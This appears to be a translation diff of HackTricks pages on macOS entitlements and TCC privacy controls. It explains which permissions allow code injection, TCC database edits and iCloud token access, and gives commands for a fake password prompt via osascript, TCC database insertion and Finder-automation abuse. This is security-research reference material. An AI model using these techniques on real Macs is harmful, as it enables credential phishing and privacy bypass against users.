Hierdie toestemming is baie soortgelyk aan **`com.apple.security.cs.disable-library-validation`** maar **in plaas daarvan** om biblioteekvalidering direk uit te skakel, maak dit dit vir die proses moontlik om 'n `csops` stelseloproep te maak om dit uit te skakel.\
|
||||
Kyk [**hier vir meer inligting**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
Hierdie toekenning maak dit moontlik om **DYLD-omgewingsveranderlikes te gebruik** wat gebruik kan word om biblioteke en kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
|
||||
Hierdie toestemming maak dit moontlik om **DYLD-omgewingsveranderlikes te gebruik** wat gebruik kan word om biblioteke en kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
|
||||
|
||||
### `com.apple.private.tcc.manager` of `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
[**Volgens hierdie blog**](https://objective-see.org/blog/blog\_0x4C.html) **en** [**hierdie blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), maak hierdie toekenning dit moontlik om die **TCC** databasis te **verander**.
|
||||
[**Volgens hierdie blog**](https://objective-see.org/blog/blog\_0x4C.html) **en** [**hierdie blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), maak hierdie toestemmings dit moontlik om die **TCC** databasis te **verander**.
|
||||
|
||||
### **`system.install.apple-software`** en **`system.install.apple-software.standar-user`**
|
||||
|
||||
Hierdie toekenning maak dit moontlik om sagteware te **installeer sonder om toestemming van die gebruiker te vra**, wat nuttig kan wees vir 'n **privilege-escalation**.
|
||||
Hierdie toestemmings maak dit moontlik om **sagteware te installeer sonder om toestemming van die gebruiker te vra**, wat nuttig kan wees vir 'n **privilege-escalation**.
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
Toekenning wat nodig is om die **kernel te vra om 'n kernel-uitbreiding te laai**.
|
||||
Toestemming wat nodig is om die **kernel te vra om 'n kernel-uitbreiding te laai**.
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
Die toekenning **`com.apple.private.icloud-account-access`** maak dit moontlik om te kommunikeer met die **`com.apple.iCloudHelper`** XPC-diens wat **iCloud-token** sal voorsien.
|
||||
Die toestemming **`com.apple.private.icloud-account-access`** maak dit moontlik om te kommunikeer met die **`com.apple.iCloudHelper`** XPC-diens wat **iCloud-token** sal voorsien.
|
||||
|
||||
**iMovie** en **Garageband** het hierdie toekenning gehad.
|
||||
**iMovie** en **Garageband** het hierdie toestemming.
|
||||
|
||||
Vir meer **inligting** oor die uitbuiting om **icloud-tokens te kry** van daardie toekenning, kyk na die praatjie: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
Vir meer **inligting** oor die uitbuiting om **iCloud-tokens te kry** van daardie toestemming, kyk na die praatjie: [**#OBTS v5.0: "Wat Gebeur op jou Mac, Bly op Apple se iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
|
@ -79,15 +79,15 @@ TODO: Ek weet nie wat dit toelaat om te doen nie
|
|||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: In [**hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **word genoem dat dit gebruik kan word om** die inhoud wat deur SSV beskerm word, na 'n herlaai te werk. As jy weet hoe om dit te doen, stuur asseblief 'n PR!
|
||||
TODO: In [**hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **word genoem dat dit gebruik kan word om** die SSV-beskermde inhoud na 'n herlaai op te dateer. As jy weet hoe, stuur asseblief 'n PR!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: In [**hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **word genoem dat dit gebruik kan word om** die inhoud wat deur SSV beskerm word, na 'n herlaai te werk. As jy weet hoe om dit te doen, stuur asseblief 'n PR!
|
||||
TODO: In [**hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **word genoem dat dit gebruik kan word om** die SSV-beskermde inhoud na 'n herlaai op te dateer. As jy weet hoe, stuur asseblief 'n PR!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
Hierdie toekenning lys **sleutelbosgroepe** waartoe die aansoek toegang het:
|
||||
Hierdie toestemming lys **sleutelhangergroepe** waarop die aansoek toegang het:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -100,13 +100,13 @@ Hierdie toekenning lys **sleutelbosgroepe** waartoe die aansoek toegang het:
|
|||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Geeft **Volledige Schijftoegang** machtigingen, een van de hoogste machtigingen die je kunt hebben in TCC.
|
||||
Gee **Volle Skyftoegang** toestemmings, een van die hoogste toestemmings wat jy kan hê vir TCC.
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
Staat de app toe om gebeurtenissen naar andere applicaties te sturen die vaak worden gebruikt voor **automatiseringstaken**. Door andere apps te controleren, kan het misbruik maken van de verleende machtigingen aan deze andere apps.
|
||||
Laat die app toe om gebeure te stuur na ander toepassings wat gewoonlik gebruik word vir **outomatiese take**. Deur ander programme te beheer, kan dit die toestemmings wat aan hierdie ander programme verleen is, misbruik.
|
||||
|
||||
Zoals het vragen van het wachtwoord aan de gebruiker:
|
||||
Soos om hulle die gebruiker vir sy wagwoord te laat vra:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -114,48 +114,48 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Of maak hulle om **willekeurige aksies** uit te voer.
|
||||
Of maak hulle **willekeurige aksies** uitvoer.
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
Laat onder andere toe om die gebruikers TCC-databasis te **skryf**.
|
||||
Laat, onder andere toestemmings, toe om die gebruikers TCC-databasis **te skryf**.
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
Laat toe om die **`NFSHomeDirectory`** eienskap van 'n gebruiker te **verander** wat sy tuisgids-pad verander en dus om TCC te **omseil**.
|
||||
Laat toe om die **`NFSHomeDirectory`** eienskap van 'n gebruiker te **verander** wat sy tuisgids-pad verander en dus toelaat om TCC **te omseil**.
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
Laat toe om lêers binne app-bundels (binne app.app) te wysig, wat **standaard verbied** is.
|
||||
Laat toe om lêers binne app-bundels (binne app.app) te wysig, wat **standaard nie toegelaat word nie**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dit is moontlik om te kontroleer wie hierdie toegang het in _Sisteeminstellings_ > _Privaatheid & Sekuriteit_ > _App-bestuur_.
|
||||
Dit is moontlik om te kontroleer wie hierdie toegang het in _Sisteeminstellings_ > _Privaatheid & Sekuriteit_ > _App-bestuur._
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
Die proses sal in staat wees om die macOS-toeganklikheidskenmerke te **misbruik**, wat beteken dat hy byvoorbeeld toetsaanslae kan indruk. Hy kan dus toegang aanvra om 'n app soos Finder te beheer en die dialoogvenster met hierdie toestemming goed te keur.
|
||||
Die proses sal in staat wees om die macOS-toeganklikheidskenmerke **te misbruik**, wat beteken dat hy byvoorbeeld toetsaanslae kan indruk. Hy kan dus versoek om toegang te kry om 'n toepassing soos Finder te beheer en die dialoog met hierdie toestemming goed te keur.
|
||||
|
||||
## Medium
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
Hierdie toekenning maak dit moontlik om geheue te **skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag aan die `mmap()` stelsel funksie te gee. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
Hierdie toestemming laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag na die `mmap()`-sisteemfunksie te stuur. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Hierdie toekenning maak dit moontlik om C-kode te **oorheers of te herstel**, gebruik die lank verouderde **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback** raamwerk. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
Hierdie toestemming laat toe om C-kode te **oorheers of te lap**, gebruik die lank-afgeskafte **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback**-raamwerk. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Die insluiting van hierdie toekenning stel jou app bloot aan algemene kwesbaarhede in geheue-onveilige kodelanguages. Oorweeg versigtig of jou app hierdie uitsondering nodig het.
|
||||
Die insluiting van hierdie toestemming stel jou toepassing bloot aan algemene kwesbaarhede in geheue-onveilige kodelandstale. Oorweeg sorgvuldig of jou toepassing hierdie uitsondering nodig het.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
Hierdie toekenning maak dit moontlik om **dele van sy eie uitvoerbare lêers** op skyf te wysig om kragtig te beëindig. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
Hierdie toestemming laat toe om **seksies van sy eie uitvoerbare lêers** op skyf te wysig om kragdadig te verlaat. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Die Uitskakelbare Uitvoerbare Geheuebeskerming Toekenning is 'n ekstreme toekenning wat 'n fundamentele sekuriteitsbeskerming van jou app verwyder, wat dit vir 'n aanvaller moontlik maak om jou app se uitvoerbare kode sonder opsporing te herskryf. Gee verkieslik nouer toekenning as moontlik.
|
||||
Die Uitskakelbare Uitvoerbare Geheuebeskermingstoestemming is 'n ekstreme toestemming wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Gee verkieslik nouer toestemmings indien moontlik.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -164,31 +164,31 @@ TODO
|
|||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
Hierdie toekenning maak dit moontlik om 'n nullfs-lêersisteem te monteer (standaard verbode). Hulpmiddel: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||
Hierdie toestemming laat toe om 'n nullfs-lêersisteem te koppel (standaard verbode). Gereedskap: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
Volgens hierdie blogpos, word hierdie TCC-toestemming gewoonlik in die vorm gevind:
|
||||
Volgens hierdie blogpos, hierdie TCC-toestemming word gewoonlik gevind in die vorm:
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
[Array]
|
||||
[String] kTCCServiceAll
|
||||
```
|
||||
Laat die proses toe om **vir alle TCC-toestemmings te vra**.
|
||||
Laat die proses toe om **vir al die TCC-toestemmings te vra**.
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,21 +10,21 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** is 'n sekuriteitsprotokol wat fokus op die regulering van aansoektoestemmings. Sy primêre rol is om sensitiewe funksies soos **liggingdiens, kontakte, foto's, mikrofoon, kamera, toeganklikheid, en volle skyftoegang** te beskerm. Deur uitdruklike gebruikerstoestemming te vereis voordat 'n aansoek toegang tot hierdie elemente kry, verbeter TCC privaatheid en gebruikerbeheer oor hul data.
|
||||
**TCC (Deursigtigheid, Toestemming en Beheer)** is 'n sekuriteitsprotokol wat fokus op die regulering van aansoektoestemmings. Sy primêre rol is om sensitiewe funksies soos **liggingdiens, kontakte, foto's, mikrofoon, kamera, toeganklikheid en volle skyftoegang** te beskerm. Deur uitdruklike gebruikerstoestemming te vereis voordat 'n aansoek toegang tot hierdie elemente kry, verbeter TCC privaatheid en gebruikersbeheer oor hul data.
|
||||
|
||||
Gebruikers kom TCC teë wanneer aansoeke toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n venster wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder akkommodeer TCC direkte gebruikeraksies, soos **sleep en laat val van lêers in 'n aansoek**, om toegang tot spesifieke lêers te verleen, en verseker dat aansoeke slegs toegang het tot wat uitdruklik toegelaat is.
|
||||
Gebruikers kom TCC teen wanneer aansoeke toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n venster wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder akkommodeer TCC direkte gebruikeraksies, soos **sleep en laat val van lêers in 'n aansoek**, om toegang tot spesifieke lêers te verleen, en verseker dat aansoeke slegs toegang het tot wat uitdruklik toegelaat is.
|
||||
|
||||

|
||||
|
||||
**TCC** word hanteer deur die **daemon** wat in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` geleë is en gekonfigureer is in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registreer die mach-diens `com.apple.tccd.system`).
|
||||
**TCC** word hanteer deur die **daemon** geleë in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` en gekonfigureer in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registreer die mach-diens `com.apple.tccd.system`).
|
||||
|
||||
Daar is 'n **gebruikermodus tccd** wat vir elke ingeteken gebruiker hardloop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist` wat die mach-diens `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer.
|
||||
Daar is 'n **gebruikermodus tccd** wat per ingeteken gebruiker hardloop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist` wat die mach-diens `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer.
|
||||
|
||||
Hier kan jy sien hoe die tccd as stelsel en as gebruiker hardloop:
|
||||
```bash
|
||||
|
@ -34,17 +34,17 @@ ps -ef | grep tcc
|
|||
```
|
||||
Toestemmings word **geërf** van die ouer aansoek en die **toestemmings** word **opgespoor** gebaseer op die **Bundel-ID** en die **Ontwikkelaar-ID**.
|
||||
|
||||
### TCC Databasisse
|
||||
### TCC-databasisse
|
||||
|
||||
Die toestemmings word dan gestoor in sekere TCC databasisse:
|
||||
Die toestemmings word dan gestoor in sekere TCC-databasisse:
|
||||
|
||||
- Die stelselwye databasis in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Hierdie databasis is **SIP beskerm**, sodat slegs 'n SIP-omweg daarin kan skryf.
|
||||
- Hierdie databasis is **SIP-beskerm**, sodat slegs 'n SIP-omweg daarin kan skryf.
|
||||
- Die gebruiker TCC-databasis **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** vir gebruikersvoorkeure.
|
||||
- Hierdie databasis is beskerm sodat slegs prosesse met hoë TCC-voorregte soos Volle Skyftoegang daarin kan skryf (maar dit word nie deur SIP beskerm nie).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Die vorige databasisse is ook **TCC beskerm vir leestoegang**. Jy **sal nie in staat wees om** jou gewone gebruiker TCC-databasis te lees tensy dit van 'n TCC-bevoorregte proses afkomstig is.
|
||||
Die vorige databasisse is ook **TCC-beskerm vir leestoegang**. Jy **sal nie in staat wees om** jou gewone gebruiker TCC-databasis te lees tensy dit van 'n TCC-bevoorregte proses af is.
|
||||
|
||||
Onthou egter dat 'n proses met hierdie hoë voorregte (soos **FDA** of **`kTCCServiceEndpointSecurityClient`**) in staat sal wees om die gebruikers TCC-databasis te skryf.
|
||||
{% endhint %}
|
||||
|
@ -59,7 +59,7 @@ Die TCC-databasis in **iOS** is in **`/private/var/mobile/Library/TCC/TCC.db`**
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Die **kennisgewingsentrum UI** kan **veranderinge in die stelsel TCC-databasis** maak:
|
||||
Die **kennisgewingsentrum-UI** kan **veranderinge in die stelsel-TCC-databasis** maak:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -126,7 +126,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
Deur beide databasisse te ondersoek, kan jy die regte wat 'n app toegelaat het, wat dit verbied het, of wat dit nie het nie (dit sal daarvoor vra).
|
||||
{% endhint %}
|
||||
|
||||
* Die **`diens`** is die TCC **regte** string verteenwoordiging
|
||||
* Die **`diens`** is die TCC **toestemming** string verteenwoordiging
|
||||
* Die **`klient`** is die **bundel-ID** of **pad na binêre lêer** met die regte
|
||||
* Die **`klient_tipe`** dui aan of dit 'n Bundel Identifiseerder(0) of 'n absolute pad(1) is
|
||||
|
||||
|
@ -171,11 +171,11 @@ Doen net **`launctl load jou_bin.plist`**, met 'n plist soos:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
</details>
|
||||
</besonderhede>
|
||||
|
||||
* Die **`auth_value`** kan verskillende waardes hê: denied(0), unknown(1), allowed(2), of limited(3).
|
||||
* Die **`auth_reason`** kan die volgende waardes aanneem: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* Die **csreq** veld is daar om aan te dui hoe om die binêre lêer te verifieer om uit te voer en die TCC-toestemmings te verleen:
|
||||
* Die **`auth_value`** kan verskillende waardes hê: geweier(0), onbekend(1), toegelaat(2), of beperk(3).
|
||||
* Die **`auth_reason`** kan die volgende waardes aanneem: Fout(1), Gebruikerstoestemming(2), Gebruiker ingestel(3), Stelsel ingestel(4), Diensbeleid(5), MDM-beleid(6), Oorskrydingsbeleid(7), Ontbrekende gebruiksteeks(8), Vraagtydperk(9), Vooraf onbekend(10), Geregverklaar(11), Toepassingstipebeleid(12)
|
||||
* Die **csreq** veld is daar om aan te dui hoe om die binêre lêer te verifieer om uit te voer en die TCC-toestemmings toe te ken:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -209,7 +209,7 @@ tccutil reset All
|
|||
```
|
||||
### TCC Handtekeningkontroles
|
||||
|
||||
Die TCC **databasis** stoor die **Bundel-ID** van die aansoek, maar dit stoor ook **inligting** oor die **handtekening** om **seker te maak** dat die aansoek wat toestemming vra, die regte een is.
|
||||
Die TCC **databasis** stoor die **Bundel-ID** van die aansoek, maar dit stoor ook **inligting** oor die **handtekening** om seker te maak dat die aansoek wat toestemming vra, die regte een is.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -226,17 +226,17 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Daarom sal ander toepassings wat dieselfde naam en bundel-ID gebruik nie toegang hê tot verleende regte wat aan ander programme gegee is nie.
|
||||
Daarom sal ander toepassings wat dieselfde naam en bundel-ID gebruik nie toegang hê tot toestemmings wat aan ander programme verleen is nie.
|
||||
{% endhint %}
|
||||
|
||||
### Toekennings & TCC-toestemmings
|
||||
|
||||
Toepassings **moet nie net** versoek nie en toegang **gekry het tot sekere bronne nie, hulle moet ook die relevante toekennings hê**.\
|
||||
Byvoorbeeld **Telegram** het die toekenning `com.apple.security.device.camera` om **toegang tot die kamera te versoek**. 'n **Toepassing** wat nie hierdie **toekennings het nie, sal nie toegang hê tot die kamera** (en die gebruiker sal selfs nie gevra word vir die regte nie).
|
||||
Toepassings **moet nie net** versoek nie en toegang **gekry het tot sekere bronne nie, hulle moet ook die relevante toekennings hê.**\
|
||||
Byvoorbeeld **Telegram** het die toekennings `com.apple.security.device.camera` om **toegang tot die kamera te versoek.** 'n **Toepassing** sonder hierdie **toekennings sal nie toegang hê** tot die kamera (en die gebruiker sal selfs nie gevra word vir die toestemmings nie).
|
||||
|
||||
Tog, vir toepassings om **toegang te verkry tot sekere gebruikersgids**, soos `~/Desktop`, `~/Downloads` en `~/Documents`, hoef hulle nie enige spesifieke **toekennings te hê nie.** Die stelsel sal toegang outomaties hanteer en die gebruiker **soos nodig** vra.
|
||||
|
||||
Apple se toepassings **sal nie pop-ups genereer nie**. Hulle bevat **vooraf toegestane regte** in hul **toekenningslys**, wat beteken dat hulle **nooit 'n pop-up sal genereer nie**, **of** in enige van die **TCC-databasisse sal verskyn nie.** Byvoorbeeld:
|
||||
Apple se toepassings **sal nie pop-ups genereer nie.** Hulle bevat **vooraf toegestane regte** in hul **toekenningslys**, wat beteken dat hulle **nooit 'n pop-up sal genereer nie**, **of** in enige van die **TCC-databasisse sal verskyn nie.** Byvoorbeeld:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -247,7 +247,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
Dit sal verhoed dat die Kalender die gebruiker vra om toegang te verkry tot herinnerings, kalender en die adresboek.
|
||||
Dit sal verhoed dat Kalender die gebruiker vra om toegang tot herinnerings, kalender en die adresboek te kry.
|
||||
|
||||
{% hint style="success" %}
|
||||
Afgesien van 'n paar amptelike dokumentasie oor toestemmings is dit ook moontlik om onoffisiële **interessante inligting oor toestemmings te vind in** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
|
@ -261,9 +261,9 @@ Sommige TCC-toestemmings is: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCSe
|
|||
* $HOME/.ssh, $HOME/.aws, ens.
|
||||
* /tmp
|
||||
|
||||
### Gebruikerbedoeling / com.apple.macl
|
||||
### Gebruikersbedoeling / com.apple.macl
|
||||
|
||||
Soos voorheen genoem, is dit moontlik om **toegang aan 'n toepassing tot 'n lêer te verleen deur dit daarheen te sleep**. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n **uitgebreide** **kenmerk van die lêer**. Hierdie kenmerk sal die UUID van die toegelate toepassing **berg**:
|
||||
Soos voorheen genoem, is dit moontlik om **toegang tot 'n toepassing tot 'n lêer te verleen deur dit na die toepassing te sleep**. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n **uitgebreide** **kenmerk van die lêer**. Hierdie kenmerk sal **die UUID van die toegelate toepassing stoor**:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -286,7 +286,7 @@ Merk ook op dat as jy 'n lêer skuif wat die UUID van 'n toepassing op jou reken
|
|||
|
||||
Die uitgebreide attribuut `com.apple.macl` **kan nie skoongemaak word** soos ander uitgebreide eienskappe nie omdat dit deur SIP **beskerm word**. Nietemin, soos [**verduidelik in hierdie pos**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), is dit moontlik om dit te deaktiveer deur die lêer te **zip**, dit te **verwyder** en dit weer te **ontzip**.
|
||||
|
||||
## TCC Privesc & Oorskrydings
|
||||
## TCC Privesc & Omgang
|
||||
|
||||
### Invoeging in TCC
|
||||
|
||||
|
@ -344,12 +344,12 @@ As jy daarin geslaag het om binne 'n program met sekere TCC-toestemmings te kom,
|
|||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Outomatiesering (Finder) na FDA\*
|
||||
### Outomatisering (Finder) na FDA\*
|
||||
|
||||
Die TCC-naam van die Outomatieserings-toestemming is: **`kTCCServiceAppleEvents`**\
|
||||
Die TCC-naam van die Outomatisering-toestemming is: **`kTCCServiceAppleEvents`**\
|
||||
Hierdie spesifieke TCC-toestemming dui ook die **toepassing aan wat binne die TCC-databasis bestuur kan word** (sodat die toestemmings nie net alles toelaat om bestuur te word nie).
|
||||
|
||||
**Finder** is 'n toepassing wat **altyd FDA het** (selfs al verskyn dit nie in die UI nie), so as jy **Outomatieserings-privileges** daaroor het, kan jy sy voorregte misbruik om dit **sekere aksies te laat uitvoer**.\
|
||||
**Finder** is 'n toepassing wat **altyd FDA het** (selfs al verskyn dit nie in die UI nie), so as jy **Outomatisering**-voorregte oor dit het, kan jy sy voorregte misbruik om dit **sekere aksies te laat uitvoer**.\
|
||||
In hierdie geval sal jou program die toestemming **`kTCCServiceAppleEvents`** oor **`com.apple.Finder`** benodig.
|
||||
|
||||
{% tabs %}
|
||||
|
@ -383,14 +383,14 @@ EOD
|
|||
Jy kan dit misbruik om **jou eie gebruiker TCC-databasis te skryf**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Met hierdie toestemming sal jy in staat wees om **finder te vra om toegang tot TCC-beperkte folders** en jou die lêers te gee, maar na my mening sal jy **nie in staat wees om Finder te laat arbitrêre kodes uitvoer** om sy FDA-toegang ten volle te misbruik nie.
|
||||
